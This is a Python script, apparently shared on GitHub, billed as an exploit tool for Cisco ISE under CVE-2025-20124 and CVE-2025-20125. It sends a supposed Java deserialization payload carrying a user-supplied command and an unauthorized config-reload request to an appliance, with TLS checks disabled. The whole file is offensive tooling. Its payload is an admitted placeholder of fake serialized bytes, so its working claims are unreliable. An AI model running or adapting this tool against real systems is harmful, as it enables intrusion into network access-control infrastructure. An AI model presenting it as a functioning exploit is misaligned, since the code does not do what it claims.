#!/usr/bin/env python3 """ Elaina Core – Cisco ISE Exploit Tool Supports CVE‑2025‑20124 (Java deserialization RCE) CVE‑2025‑20125 (Authorization bypass – config/read/reboot) Author: Yuri08 GitHub: github.com/Yuri08loveElaina """ import requests import sys import argparse import base64 import urllib3 urllib3.disable_warnings() def banner(): print(r""" ____ _ _ ____ ___ ___ ___ / ___(_)_ __(_) ___ ___ / ___|_ _/ __/ _ \ | | | | '__| |/ __/ _ \| | | | (_| (_) | | |___| | | | | (_| __/| |___ | |\___\___/ \____|_|_| |_|\___\___| \____|___| Elaina Core – Cisco ISE RCE/BYOP Exploit CVE‑2025‑20124 / CVE‑2025‑20125 Coder: Yuri08 | github.com/Yuri08loveElaina """) def build_serialize_payload(cmd): # Placeholder Java serialization: real exploit cần gadget chain java_cmd = cmd.replace('"', '\\"') payload = f'\xac\xed\x00\x05sr\x00...ExecGadget...execute("{java_cmd}")' return base64.b64encode(payload.encode()).decode() def exploit_deserialization(base_url, session_token, cmd): endpoint = f"{base_url}/api/v1/admin/deserializer" headers = {"Cookie": f"ISESSIONID={session_token}"} payload = build_serialize_payload(cmd) data = {"object": payload} print(f"[+] CVE-20124: Sending deserialization payload to {endpoint}") r = requests.post(endpoint, json=data, headers=headers, verify=False) if r.status_code == 200: print("[+] Payload possibly executed!") else: print(f"[-] Unexpected response: {r.status_code}") def exploit_auth_bypass(base_url, session_token): endpoint = f"{base_url}/api/v1/admin/reload" headers = {"Cookie": f"ISESSIONID={session_token}"} print(f"[+] CVE-20125: Sending config reload request to {endpoint}") r = requests.post(endpoint, headers=headers, verify=False) if r.status_code in (200,204): print("[+] Reload/config change accepted!") else: print(f"[-] Bypass failed: {r.status_code}") def main(): parser = argparse.ArgumentParser() parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance") parser.add_argument("--session", required=True, help="Authenticated ISE session token") parser.add_argument("--cmd", help="Command to execute via deserialization") parser.add_argument("--deser", action="store_true", help="Run CVE‑20124 exploit") parser.add_argument("--bypass", action="store_true", help="Run CVE‑20125 bypass") args = parser.parse_args() banner() if args.deser and args.cmd: exploit_deserialization(args.url, args.session, args.cmd) if args.bypass: exploit_auth_bypass(args.url, args.session) if not args.deser and not args.bypass: print("[-] Specify at least --deser or --bypass.") sys.exit(1) if __name__ == "__main__": main()